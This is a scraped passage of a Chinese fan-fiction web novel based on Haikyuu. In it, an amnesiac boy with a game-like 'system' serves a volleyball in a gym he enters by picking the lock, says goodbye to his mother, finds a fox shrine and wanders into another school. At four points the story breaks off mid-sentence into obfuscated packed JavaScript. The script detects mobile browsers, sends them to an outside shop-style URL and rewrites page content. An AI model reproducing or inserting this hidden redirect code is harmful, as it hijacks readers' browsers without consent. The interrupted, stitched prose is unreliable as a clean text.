收获了两人“崇拜”目光,夏树和真脸不红心不跳,毕竟他也没有说谎不是吗?对于玩家,迟早有一天会完成的主线任务,已经是板上钉钉的未来。 “那么……” 夏树和真从口袋里掏出那张皱巴巴的让日向翔阳十分眼熟的纸团,然后大剌剌地摊开在二人面前,上面日向两个大字果然不是他的错觉。 因为实在过于在意,日向翔阳忍不住开口道:“那个……夏树同学,这旁边的好像是我写的字,还有我的名字……” “哦,好像是这样的。” 夏树和真看了一眼,说:“日向?” “翔阳,日向翔阳,这边这个是影山飞雄。” “唔。”夏树和真突然问了个奇怪的问题:“一年级?” “诶?是、是的。” 一旁的影山飞雄歪着脑袋,指了指日向翔阳道:“你也是一年级吧,话说这个家伙和你不是同班吗?” “诶!” 夏树和真露出了比星期天打开冰箱发现想要珍藏起来享受的限量版布丁,竟然过了保质期还要震惊的表情,看向日向翔阳说道:“真的吗?翔阳。” “是的……?” 因为对面过于吃惊,导致对自己刚才说的话产生了某种不自信,日向翔阳说话有些犹疑。 “为什么犹豫,你刚刚不是还在说他是不是讨……唔,笨蛋!你干什么?!” 日向翔阳急忙跳起来捂住影山飞雄的嘴,“呜哇,影山你不要什么都说出来啊!” “讨什么?” 夏树和真疑惑,看着日向翔阳有些慌乱的表情以及那鲜艳的亮橙色橘发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他整个人横在半空中,像是一片被风托起的叶子,敞开的外套衣摆向上翻飞,露出底下白色的衬衫,黑色的发丝在空中飞扬,露出了光洁的额头,午后的阳光斜照进窗户,正好打在了他的脸上。 日向翔阳背着突如其来的阳光刺了双眼,是酸涩的眼中泛出的生理性盐水模糊了他的视线,他眯起眼睛想要努力辨认。 也正是因为这一举动,导致日向翔阳没有及时闪躲。 “啊,当心!” 但是已经晚了,日向翔阳被撞得向倒去,但是预想中的疼痛并没有倒来,反而是鼻尖有些痒痒的,睁开眼睛一看,是一缕垂下来的头发,他慢半拍意识到护在自己的后背以及后脑勺的手臂。 想要道谢,日向翔阳下意识起身,但是因为身体大部分都被压着,所以只有一只手乱挥了起来。 手上莫名一松,日向翔阳耳边响起一道声音。 “嗯?给我?唔……这不是我要找的吗?谢啦!” 随之身上一轻,再一转眼,那人已经不见踪影了。 一切快速地像是一场梦一样,之后日向翔阳恍惚地回到教室,稀里糊涂吃完午饭后又因为昨天翻来覆去没睡好,困意上头就睡着了。 “是你!" 日向翔阳睁大眼睛。 夏树和真大剌剌地摊开那个纸团,展现在二人面前,入部希望上面正是还没有修改的排球部。 至于为什么拿着一张填了排球部的申请书去找班主任要参加网球部,在这种巧合下也显得微不足道了。 “刚好,看来我们还挺有缘分的。” 火红的夕阳渐渐坠入地平线,像一颗被烧得滚烫的铁球,将半边天空都染成了橘红色,云层翻涌着。夕阳把他们的影子拉得越来越长。 起风了。 夏树和真逆着光,风吹动着他额前的碎发,却吹不散他周身那种笃定的气势。他微微侧过头,朝他们伸出手,那双眼睛在暗沉的天空下散发出摄人心魂的光亮。 “事不宜迟,现在一起去打排球吧!” 5. 第五章 “好……啊、但是现在体育馆的门也应该锁住了。” 日向翔阳瞬间亮起的眼神又黯淡下去。 夏树和真盯着二人思考了几秒,突然露出了一个笑容,直接抓住了二人的手腕,说:“翔阳,飞雄,跟我来。” “诶诶诶?夏树同学?”日向翔阳的声音一下子拔高了。 “去哪?”意外冷静的影山飞雄道。 “当然是打排球啊,刚刚不是说了嘛?练习的话当然要找一个好场地!”夏树和真语气里充满莫名的自信,就像是一切都是理所当然的一样,带着二人就这样大步流星地往前走。 “哦。”听到是去另一个地方练习的影山飞雄没有任何犹豫,卸掉了原本反射性想要挣脱的力道。 空地上能练习的东西是有限的,不能随心所欲的扣发也就算了,光是现在和日向翔阳的抛接球也有些束手束脚,泥地还要顾忌受伤的风险。 更何况,和他搭档的家伙是个基础功差得不行的家伙,如今距离约定的比赛日期越来越近了,临阵磨枪的效率自然越高越好。 “到了。” 日向他们练习的地方实际上离体育馆不远,哪怕是不熟悉路的夏树和真也能从远处看见体育馆显眼的标识。 毕竟学校的建筑,百八十年也不会换一个样式,起码夏树小学时的体育馆就是眼前的缩小版而已。 如今天已经渐渐黑了下来,体育馆早就熄了灯,原本能隐约听到的放学后同学们的喧闹声也逐渐减少了许多,除开一些加训的社团,校园里已经没什么人了。 夏树和真松开了手,凑上前去眯着眼睛观察了一会。高大的推拉门边缘磨得漆皮斑驳,而门锁的样式是常见的长条滑动锁,但是看上去使用许久,锁扣已经不复市面上新品的那样紧实,用手轻轻一推,就会发出细微的嘎吱声。 “好像……确实锁住了。” 日向翔阳的视线被夏树和真遮挡住,但也知道大门已经上锁了。 而影山飞雄坐在一边,有一下没一下地抛着球。 “哼哼。” 夏树和真有些得意,从口袋里掏出了两根别针,慢慢插进老旧的锁孔中,指尖一边试探一边缓缓转动。生锈松动的锁芯助力不是很大,起码比他无聊时在医院时拿来开着玩的锁要顺利的多。 只听一声细微的咔哒声,在已经没什么人的傍晚里格外清晰。 “夏、树同学?”日向翔阳自从夏树和真掏出别针之后就一直目瞪口呆地看着他一连串行云流水的开锁动作,“这就是电视剧里的开锁吗?” 影山飞雄没有说话,只是歪着脑袋看着他的动作,排球在他的掌心几乎要转出花来了。 “哇哦,翔阳很有眼光嘛。”夏树和真停下动作,单手握在门把上,做出了一个魔术师表演谢幕的经典动作,晃了晃手臂,最后贴在心口,“锵锵锵~这就是举世闻名的夏树大魔术师的日本首秀!” 夏树和真推开门,先一步走进去,按下了一旁墙上的开关。 啪嗒。 头顶上的灯光闪了闪,一个空旷无人的球场展现他们面前,地板看上去已经清扫了一遍,排球也被整齐干净地放进了球篮之中,只有中心的球网还没有收起来,或许是最后留下来练习的人忘了收拾。不过倒也便宜了夏树等人。 夏树和真是打过排球的,但那已经是小时候的事情了,更何况也只不过只有三年,上了小学六年级便干脆地放弃,从此当上了能坐着就绝对不坐着的悠哉日子。 事到如今,过去的一切对于现在的夏树和真来说都像是隔着一层厚厚的毛玻璃观看的和他同名同姓的其他人的回忆。 夏树和真从球框里拿出了一颗排球,皮质光滑的触感似乎有些熟悉,指尖一点一点摸索着上面的纹路,就像是面对时隔数年再次重逢的老朋友一样。虽然他对于这个老朋友残留下来的大部分都不是什么美好的印象。 回过头来,小时候的自己似乎一直在哭。 打得好,哭:打得不好,哭。这个不大不小的球似乎就能完全主导他幼时的所有情绪,就算是喜悦,也是混杂着的不纯粹的喜悦。 是因为最开始定下的打排球的原因,不是因为自己,而是为了母亲吗?因为这这份不纯粹,所以神明大人要惩罚他,惩罚他无论如何都无法在这项运动中获得纯粹的快乐吗? 不。 这一切的答案肯定只会有一个—— 不是。 玩家无论何时都只会为了自己做选择。 所以,无论是幼时的夏树和真,国中的夏树和真,亦或者是现在的夏树和真,他做出的选择,经历的时间,就是他的一切。 现在,夏树和真再次做出了选择。 而他是玩家,这里是他的世界。 夏树和真站在了发球线上,双手托球。 系统界面弹了出来。 【技能:发球·双蛋黄】 【请选择发球形态】 左边是一个红色图标,上面写着“跳发球”。另一个蓝色图标,则写着“飘发球”,跟着的图标分别是以一个箭头表示球的力度,另一个则是左右晃动表示其特性。 【检测到玩家身体数据与当前技能并不匹配,建议尽快升级当前的身体数值】 【当前最适配:跳发球,成功率72%】 夏树和真心念一动,眼前蓝色图标骤然暗淡下去,而红色的图标亮起。 【检测到主线任务已触发】 【当前运动选择:排球!!】 【青春&运动online的基础功能匹配中】 【检索到和当前技能最为适配的功能】 【功能:预测(lv.1)已为您自动装备】 界面切换。出现在夏树和真视野里的是一条黄色的辅助线,从他站立的位置延伸到对面的一个边角压线位置,上面跳动着不断变化的数字。 【88%】 【89%】 夏树和真看着自己手边出现的和红线偏移的黄色虚线,他托球的手一动,那根虚线也跟着动,而这跟黄色的分支一直到他的上方,一个圈出来的击球点。 旁边像是从漫画里扣出来的极度渲染情感的三个大感叹号!!! 【检测当前数据:最佳抛球高度2.4米,击球点右肩前上方】 【要点:垂直上抛,直线挥臂,轨迹偏离不超过36%】 【请玩家尽快提升匹配度至95%以上】 夏树和真调换着位置,直到红线和黄线重合的时候,眼前一直跳动的数据达到了闪亮的95%,耳边响起了系统的提示音,与此同时,他感觉身体一轻。 【读取数据中……】 【读取成功……】 【检测到玩家的特殊状态】 【初次开启自动托管模式】 视线一晃,他的灵魂似乎和身体分离了,但他又确实还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17533905|203759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在这副身躯里,只不过是以一个全然客观的上帝视角去观察自己,夏树和真仍然能感受,但是身体却像是单独脱离了他的控制一般。 面无表情的,也因此显得格外的专注,明明是同一张脸,却展现出夏树和真熟悉又陌生的神情。 夏树和真低着头,把球从左手传到右手,扣在手掌心处,五指缓缓收紧,手腕一番,球在手中旋转。明亮的灯光直直从他的头顶打下来,将他的脸划出了一道隐晦的界限,只有那双的冰蓝色双眼越发透亮,像是雪原折射出的光,远远望去会觉得圣洁,但是长时间的凝望只会觉得刺痛难忍。 “就像是换了一个人,他到底……” 影山飞雄皱眉,小声呢喃道。 夏树、和真。 日向翔阳眼睛一眨不眨地盯着面前的人,内心再一次地念起了这个名字。 球高高抛出。 夏树和真开始助跑。 第一步,习惯性的左脚跨出。 第二步,右脚踩出去,步幅骤然加大,球鞋在打蜡的木质地板上摩擦发出刺耳的咯吱声。 第三步,左脚再次落地,同时身体的重心开始前倾,像是一张紧绷的蓄势待发的弓弦。 第四步。 身体的感官最先捕捉到的是骤然凝滞的空气,粘稠的裹挟着惹人的潮湿,如同暴风雨将至的盛夏午后,裸露在外的肌肤像是被套了一层塑料袋,起了一身鸡皮疙瘩,也隔绝了呼吸。然后,便是一道震耳欲聋的响声。 双脚弯曲,肌肉紧绷,像是要把所有的力量都传导到双脚一样,夏树和真起跳了,身体高高跃起,在起跳的最高点,网的另一边,没有任何人的阻拦,一切都豁然开朗。 他的右手如同一道迅疾的鞭子,裹挟着猛烈的破空声,精准狠厉地击中那颗落在最佳击球点上的排球,发出一声沉甸甸的闷响。 它一路越过球网,在空中划出一道刁钻的弧度,像是拖着尾巴的彗星,带着骇人的旋转下产生的对于球速的下意识恐惧,蛮横地,以一种昭示天下的张扬,重重地砸向了系统标出的最佳位置。 砰! 砸在地上的排球发出让人牙发酸的声响,如果换成是人的手臂的话,可能早就青紫一片了。因为旋转太强,球落地后没有像普通发球那样弹起来,而是猛地向前窜了出去,直直地撞在了墙壁上。 整个体育馆安静了两秒。 排球从墙壁反弹了几下,然后咕噜咕噜滚到了一边。 夏树和真从空中落下来,膝盖微屈,然后慢慢站直。他看着摊开的掌心,颤抖的,带着刺痛的麻意,整个掌心红通通的,像是呼应着越来越快的血液一般,皮肉滚烫。 这就是……排球吗? 夏树和真用滚烫的掌心抓紧了跳得好快的心口。 脑子乱糟糟的,眼前似乎因为过度的兴奋而有些模糊起来,夏树和真眨了眨眼睛,却感到手背一凉,低头一看,更多的水滴落在了手背上,砸在了地板上溅起了肉眼看不见的一小片水花。 空出的一只手慢半拍地按在了眼角上,胡乱地擦去了眼眶溢出的泪水,无意识紊乱的呼吸,他抬起了头,头顶的灯光清楚地照亮了他眼角的水渍,也将他的整张脸都笼罩在光亮之中,被水洗涤后的天空的蓝色,相比起本色,更加的浅淡,也更加澄澈。 仿佛要灼穿胸口的冲动,兴奋,难以抑制。 门后的菅原孝支不自觉地抓紧了手中的钥匙。 6. 第六章 “啊——” 菅原孝支第不知道多少次打起了哈欠,单手撑着下巴,眯着眼对着泽村大地笑了笑,“抱歉大地,今天天气实在太好了,吃完午饭就容易犯困。” “你这不是单纯犯困的程度了吧,菅原。”泽村大地有些无奈。 “啊哈哈,暴露了?不愧是大地,好敏锐。” “虽然想说是不是睡眠不足,但是你今天一整天看上去又特别好心情。所以……”大地看向了菅原孝支,问道:“昨天发生了什么好事情吗?” 闻言,菅原孝支从今天开始就一直挂在嘴角上的笑容又扩大了几分,俨然一副有好事快来问我的样子,可是真的面对大地的询问时,他又开始打哈哈,十分明显地转移话题道:“说起来,这周末的比赛,好期待啊。” “如果日向和影山没有把主任的假发打飞,也就没有这些事情了。不过以这样说不定还会产生一些奇妙的化合反应,毕竟今年新进来的后辈都很有潜力。” 泽村大地自从今年升上了高三,就展现出了比以往还要强烈的干劲。他想到了自己的后辈,想到了社团的大家,就觉得心头涌起了一阵热浪,虽然在其他人面前还是一如既往的大地前辈,但是从偶尔透露出的只言片语中仍然能窥见他按捺不住的兴奋和渴望。 菅原孝支看着大地,就像一直以来的那样,看着这个从前辈们隐退之后撑起乌野排球部的部长,突然道:“今年一定要一起去全国。” “啊。” 虽然因为菅原孝支突如其来的转折,有些片刻的怔愣,但是直视着同伴的双眼,泽村大地很快心领神会,笑道:“当然,今年一定要一起去全国。” …… “铃铃铃……” 不知不觉背负了前辈期待的夏树在闹钟响了第三遍的时候,被忍无可忍的母亲砰地打开门,映入眼帘的是四仰八叉的睡姿。 睡姿极差的夏树和真上半身在床底,双腿在床上的倒挂的姿势,上衣掀了起来,露出了腰腹上那道已经快要愈合的伤疤。 “你这孩子,到底是和谁学的?这样子睡下去,感冒的话妈妈可不知道哦。” 夏树美智子一把掀开了房间的窗帘,昏暗的房间顿时亮堂了不少。 夏树和真慢半拍地睁开眼,却被骤然明亮的光线刺得眼球酸痛。 “啊啊啊,眼睛——” 宛如被阳光照射过的吸血鬼一样,夏树和真扭动着身子,成功整个人滚落到地板上,他双手捂着眼睛,凭借着肌肉记忆,拨开了睡前随手乱扔的漫画,又因为懒得站起来,便卷着被单蛄蛹着去了洗手间。 “真是惨不忍睹呢,和真。难道是失忆后反而释放了本性吗?但是到了这个样子,在学校真的没有问题吗?” 站在门口全程目睹了夏树和真一系列操作的夏树美智子,事到如今也差不多习惯了,但是每次还是忍不住自言自语。 …… “接下来是要直接搭地铁回东京吧?下次有空的时候我也会去东京玩的,所以……” 夏树和真坐在玄关处绑好鞋带,一手捞起了身旁的单肩包,对着身后站着的母亲笑了笑。 扎着低马尾的女人看着夏树和真的笑容有些恍神,眉头极快地松开又放下,只是脸上驱之不散的担忧让她的脸上笼罩着一抹沉重的阴影。 “没事的,妈妈。” 还没等夏树美智子开口,夏树和真拎着书包的带子,轻巧地挎在了左肩上,书包上系着的两个三角饭团的羊毛毡也跟着晃动着,据说是昨天下午商店街抽奖的奖品。饭团两侧拟人的小手像是安慰着眼前女人几乎要化成实质的不安。 夏树和真上前一步,运动鞋堪堪抵着玄关,他倾身环住母亲的肩膀,没有彻底贴紧身体,只是快速地贴了一下便松开回到原来的位置。 他看着自己的妈妈,注视着她无意识又攥紧的眉头,又重复了一句:“没事的。” 虽然对于他来说失忆完全不痛不痒,但是面对母亲的担心,他还是下意识收起来了无意识表现出来的不在意。 和原来印象里完全不一样,又似乎没什么变化的夏树美智子。 只不过是…… 区区,三年吗? 夏树和真穿着黑色立领的制服,站在玄关处,黑色的头发相比起以前短发的干净利落,现在刚好披肩被随意地扎起,但这份柔和却更衬托出他眉眼的锋利,上挑的眼尾不笑便显出三分冷意,但此时此刻这些容貌上给人的攻击性都随着主人眼底的笑意而一并蒸发了。 能够露出这样的笑容 这一定是一件值得高兴的事情。 夏树美智子想。 按道理来讲,自从那件事之后,生活一切都在平稳地走入正轨,她没什么不安的。即便如今夏树和真的战场在宫城,而属于夏树美智子的战场仍然在东京,但她有信心只要她和和真在一起,没有什么困难是不可以跨越的。 夏树和真,她的孩子。 这样在面前对她展露笑容的他。 接下来一定会有一个快乐的人生。 夏树美智子时时刻刻都在想着,从和真一言不发地去了宫城,坐立不安地在东京等待的结果却是来自医院的电话之后,她就一直这样想着。可是她越是这样想,过去的那个孩子的影子越是在她的脑海中挥之不去。 记忆里那个把白色西式制服穿得工工整整,总是面无表情的孩子。 夏树美智子感到了沉重的罪恶感,胃里像是吊着一块巨石,下坠感让她心里乱糟糟的。 她越是如何去构想现在的夏树和真将走向如何幸福的人生,就越是放不下过去的夏树和真那双黑洞洞的望着她的眼睛。 ……失忆,或许并不是在任何时候都是一件完全令人难以接受的事情。 起码,它做到了她没能为夏树和真做的事情。 可是这样想,难道不是另一种程度的自欺欺人吗? 矛盾的心理让她修整圆润的指尖无意识地拨弄着袖扣,甚至因为太用力而指尖微微泛白。 她的衣着向来整齐没有一丝褶皱,干练的职业西装更是新的像是刚买的。她向来注重这种细节,对于工作更是如此,只是现在因为过于杂乱的思绪和长时间积累的疲惫,让她甚至都没有意识到自己的袖口有了一小片明显的褶皱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17533906|203759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 夏树和真像是看出她在想什么,眼帘下垂,长长的睫羽打下一小片阴影。他没有说话,只是轻轻掰开母亲攥紧的双手。他的手指修长白皙,掌心却并不细腻光滑,相反手掌的皮肤比较粗糙,指腹和指根有一层厚厚的茧,触碰着母亲的指尖泛着凉意,像是在溪水里冲刷的棋子。 夏树美智子被激灵得一下回了神,一抬头便撞进了少年平静的目光中。 夏树和真没有缩回手,而是轻轻地捏着母亲的指尖,他的目光自始至终都没有变化,近乎平和地看向母亲,开口道:“妈妈不相信我吗?” 一瞬间,恍惚的视线中,有一道影子渐渐和眼前的夏树和真重合。 在察觉到的下一秒,夏树美智子悚然,她忍不住攥紧和真的手,慌乱道:“我、当然相信你的……和真。” “那就没问题了。” 夏树和真垂眸,轻轻摇晃了一下牵着母亲的手,随即抬头,嘴角自然地弯出一个弧度,并不特别灿烂,却恰到好处地安慰了夏树美智子不安的心。 只不过那个笑容不断扩大,最后不管从哪个角度都只能看出此人的得意洋洋和炫耀心理,只见他单手叉腰,一手握拳,用拇指指了指自己,哈哈一笑:“毕竟,现在我可是宫城高中排球部一颗冉冉升起的新星!曾经人称东京的天才王牌说的就是我!” “什么?!” 夏树美智子今天头一回得知这个信息。参加社团?她还以为自己这个失忆后的笨蛋儿子昨天回来这么晚是因为笨蛋到迷路了,原来是去参加社团活动了吗?而且偏偏还是…… 她反手想要抓住他一次讲个清楚,但是夏树和真像是个泥鳅一样,在这一刻身手格外的灵活,直接绕过了母亲的“抓捕”,抓着书包就跑。 “拜了,美智子。不能再闲聊了,我上学要迟到啦。” “不许直接叫妈妈的名字!还有,你上学迟到也是因为闹钟响了三遍也不起!” 自己这个笨蛋儿子,虽然现在失忆了,但是有一点从小到大都没有变过—— 喜欢直接叫别人后面的名字! 一阵熟悉的无名火涌上心头,夏树美智子冲着夏树和真大喊道。 打开的玄关大门。 清晨的第一缕阳光从开门的缝隙中争先恐后地跑了进来,只要一抬头入目便是广阔的天空,一眼望不到尽头,似乎连那乱糟糟的思绪和对未来的顾虑都一并被它吸收包容,荡涤出一片清澈的蓝。 …… “唔……话说这是哪?” 成功坐上了电车,结果普通地坐过站的夏树和真丝毫没有察觉,跟随着人群来到了一个分叉口。 终于发现了自己黑色的制服在一片青色和白色中过于显眼的夏树和真双手插兜,淡定地看向了一旁延绵不绝的阶梯。 而阶梯之上,是一个红色的鸟居。 清晨的山林之中,萦绕着些许飘渺的雾气,而那座鲜艳的鸟居旁的狐狸雕塑,在雾气之下若隐若现,给人一种奇异的吸引。 “小狐狸。” 像是冥冥之中的命中注定,夏树和真准确的对上了狐狸雕塑的眼睛。 7. 第七章 青石板的台阶,人工修葺的痕迹明显,每层台阶的高度并不完全一致。所以犯困而显得格外吊儿郎当的夏树和真差点被绊住脚,将他书包里唯一的宝贵“财产”毁于一旦这种事发生,也并不稀奇。 周围的草木茂盛,泥土微微的腥味混着草木的清香被清晨的冷风吹散开来,拂过夏树和真的一缕发丝,他总算清醒了些,将手上的书包换了一边后,继续和个没事人一样走着。 神社本身并没有特别的地方,不大不小,但是干净整洁,看上去时常有人在清扫。 夏树和真环顾了一圈,没什么人,面前也没有其他花里胡哨的东西,只有神社最简单的基础设施:神社,赛钱箱。以及摇铃。单凭夏树和真自己也无法分辨这座神社供奉的哪路神仙。 夏树和真看着之前在山脚下和他对上眼的狐狸雕塑。 因为是小狐狸。 所以供奉的大概是…… “稻荷神?” 夏树和真歪着脑袋,说道。 他没有那种来都来了,干脆去拜拜之类的想法,毕竟他现在的兜里比他的脸还干净。满足了突如其来的好奇心,夏树和真觉得无聊,干脆转身要走,余光瞥见了某个角落时,有什么东西的影子一闪而过。 原本径直离开的步伐硬生生转了一个弯,大步朝着神社的后方走去。 再往前就是草丛,神社后面的杂草长得很高,几乎要没过夏树和真的小腿,和前面神社井井有条的印象截然相反,明明只不过是几步路,区别却如此之大。 一种诡异的违和感涌上他的心头,他绕过一颗大树,一脚踩着掉落得乱七八糟的树枝上,连带着将旁边的杂草一起搞定,成功清出一小片空地,夏树和真敏锐地拨开大树一侧的灌木丛,却还没来得及看清楚,有什么东西咻地冲了出来,轻巧地跃上了他的肩头。 “哇哦,真的有小狐狸。” 夏树和真神经大条地感叹着。 如同秋叶一般漂亮柔软的皮毛,蓬松的尾巴时不时蹭过他的后颈,一双金黄色的双眼直勾勾地盯着夏树和真,脖子上挂着一个小巧的铃铛,随着小狐狸的动作发出清脆的声音,在寂静的山上异常响亮,隐隐有回声。 夏树和真眨了眨眼睛,冰蓝色的双眼清晰地映出了小狐狸的身影以及那似有金色液体在其中流转一般的黄金瞳。 小狐狸歪了歪脑袋,一直保持不动的身体凑上前,那张毛茸茸的脸几乎和夏树和真只有一指距离,他下意识闭上了眼睛,骤然黑暗的视线中,只感受到眼皮上传来的一阵凉意和柔软温热的触感。 铃。 又是一声铃铛声,肩头一轻,夏树和真睁开眼,见到了那只小狐狸正安静地站在神社的扶手上。 斑驳的表面,青色的霉点爬上了木头表面,单看眼前的场景,很难去把方才的神社和现在的认为是同一个。 小狐狸最后看了夏树和真一眼后,干脆地跳入先前的灌木丛,转瞬消失在他的眼前。 而原本小狐狸站着的地方,出现了一个小小的神社。 看上去就像是幼儿园简陋的手工作业,一只手就可以拿起来,小神社是最基础最通用的样式,而牌匾的地方似乎写了什么,不过上面的漆也掉的七七八八了,看不清楚。 夏树和真拿到耳边晃了晃,预料之中没有响起硬币清脆的声音。他状似遗憾地叹了口气,然后果断地将这个战利品塞进了自己的书包里。 诶,要问为什么? 这不是他应得的奖励吗? 夏树和真心满意足地打开了系统界面查看。 【姓名:夏树和真 年龄:17(头脑是国一但身体却是高二,虽然在一般的大众认知里无疑是笨蛋,但是你还是可以自满说自己是越活越年轻呀~) 身份:学生(乌野高中) 状态:失忆,迟到/逃课中? 背景介绍:就算出了车祸昏迷了一年,就算高中到了这个谁也不认识你的宫城县,就算连续两天逃课哦不迟到。只要有你这张脸在,无论在哪里,发生了什么,都一定没问题的……吧? 精力:70(走上那么长的阶梯,对于你来说,还是有些困难呢) 相貌:10(天啦噜,如此完美的神颜,仅仅一天就恢复成巅峰状态了!) 力量:5-2(住院太久,你的肌肉退化了不少) 速度:5-2(住院太久,你的感官迟钝了不少) 体力:3(你能指望一个刚出院人的体力吗?) 技术:0(你什么也不知道,所以这也是理所当然的吧?) 智力:5±3(天才和笨蛋只有一线之隔) 幸运:1±?(似乎发生了某些不为人知的变化) 总体评价:笨蛋又莽撞,过于自我和粗神经或许会造成他人一定的误解,不过只要实际相处下去,相信你一定可以和对方成为好朋友,不会有人能够真正讨厌你。这样的性格某种意义上大大概和某人有着无法脱离的关系。不过,玩家就要这样肆无忌惮才行,大胆向前走吧。】 你是老师吗? 夏树和真吐槽。 每次后面跟着的评价因为字数太多,夏树和真只快速扫了一眼数值后,干脆利落地打开了装备栏。 果不其然,刚刚放进书包的神社已经默认收纳进了装备栏里了。 点击查看。 【小小神社】 【物品描述:因为过剩的好奇心捡了一个明显可疑的东西,制作粗糙,但是神社大体的形状是有的,看到那个空荡荡的赛前箱了吗?或许往其中投入一个硬币,会有神奇的事情发生什么的……不会真的相信了吧?(笑)】 【功能:幸运+???】 夏树和真盯着那一栏描述,眨了眨眼睛。 …… 迷路了,大概。 夏树和真站在青叶城西的校门口很困惑。 不过夏树和真可不会承认。 他一脸自然地穿着黑色的制服在一群浅色中从容地走过。 神奇的是,竟然没有人对此感到质疑。 任由此人大摇大摆地走着。 虽然还没实际加入排球部,甚至那短短两天已经遭受无数磋磨的入部申请书,就差一个时机,等着这个笨蛋忘记将它从上衣口袋里掏出来,就这样让它随着洗衣机的滚动,让它沾满整个衣服,完成一次小小的报仇,只可惜,如今还是无事发生。入部申请书皱巴巴地蜷缩在夏树和真的口袋里。 尽管如此,夏树和真还是很有新晋排球部部员的自觉。 对家学校来侦查什么的,也是很正常的吧? 昨晚兴奋地彻夜阅读运动竞技漫画的夏树和真如此想道。 不过为了预防像昨天下午一样迷路的事情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17533907|203759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发生,夏树和真决定随机抓住一个从他旁边走过的路人同学。 …… 国见英觉得今天简直是糟糕透顶。 初春的天气,早上的风一般还带着些许的凉意,国见英拖着有气无力的步子慢吞吞地往排球部走,昨天晚上睡眠不足让他日常看上去就心情不好的脸更臭了。他一边在心里计算照这样下去自己到了体育馆躲过教练偷偷换好运动服的可能性,一边把衣领拉高,小半张脸埋在里面。 国见英最近光是要在上课时保持清醒都是一件天大的课题,更何况自从升上了高中,排球部的训练量也不是以前能相比的。即便是国见英见缝插针地划水,也消耗了不少体力。 “啊——” 一阵冷风吹过,国见英眯着眼睛,双手插在外套口袋里,困倦地打了个哈欠。 就在这时,一片樱花花瓣不知从哪里飘了过来,打着旋,晃晃悠悠地朝国见英的脸上落下,模糊的视线中只能隐约感受到有什么东西,他下意识偏了一下头。 只是还没等他反应过来,一只手伸了过来,准确地抓住了那片花瓣,动作又轻又快,国见英睁开眼睛,只来得及感受到一阵风一样的气流,取代了花瓣扑在了他的脸上。 国见英下意识看去,明显和本校校服截然相反的黑色经典日式制服,袖口没有收紧,可以看见里面白色的衬衫以及手腕上的红色发绳,目光沿着手腕一点一点上移,直到抬起头看见的对方的样貌。 一双冰蓝色的眼睛,刚好可以扎起来的黑色短发,除开这两个还尚且可以形容的特点,整张脸好看得不行,就像是顶着大功率手电筒无间断地散发出闪瞎双眼的圣光。甚至在看见这张脸的下一秒,国见英内心里有一个陌生的词语几乎要喷涌而出,他几乎是死死克制住了这宛如身体本能一样的诡异反应,才勉强闭上了嘴。 国见英不知道自己要说什么,国见英只知道如果说出来的话自己的某些重要的东西就会从此消失不见。 此时这个脸上仿佛天然打着光的家伙,好心情地摊开了手,露出其中的粉色花瓣,他朝掌心吹口气,于是那片花瓣便悠哉悠哉地落在了一边的草丛上。 国见英看着他,右眼眼皮狂跳。他刚后撤一步,正打算转身时,却没想到被夏树和真抓住了手腕。 “同学,你知道排球部在哪里吗?” 和个没事人一样的夏树和真看向国见英一脸自然地问道。 “哈。” 国见英短促地叹了口气,闻言恹恹地掀起了眼皮,手上挣动了一下,没挣脱开来,他轻飘飘地瞥了一眼夏树和真。 麻烦。但总觉得如果不回应的话,事情会变得更复杂。 国见英想。 “……手。” 国见英皱着眉,勉强从嘴里蹦出一个字来。 夏树和真从善如流地松开了手。 “那。” 用恢复自由的手指了个方向,同时国见英迅速向后退了一步,趁着夏树和真转移目光的间隙,迅速地从他身边溜走了。 “啊,走掉了。” 回过头来,只能看见国见英匆匆离开的背影,夏树和真就在这样默默目视着对方即将消失在走廊尽头时,突然想起了什么双手作喇叭状放在嘴边,大声道:“谢——谢——!” 视线里健步如飞的背影却莫名踉跄了两下后,很快消失在走廊尽头。 8. 第八章 这个学校的布局并不复杂,再加上有人指路,就算是夏树和真也还是能够顺利找到体育馆,只是还没等到他左拐,就被走廊外的庭院中心盛开的樱花树吸引了目光,看上去有些年头了,树干粗壮,樱花开得灿烂,树下还摆着几张长椅,一看就是学生午餐的最佳就餐点之一。 夏树和真想起了午餐。 因为早上迟到并没有来得及吃上丰盛早餐,夏树和真从睁开眼睛到现在,只匆匆塞了一片吐司,顺便在噎住的时候灌进去的一杯牛奶。 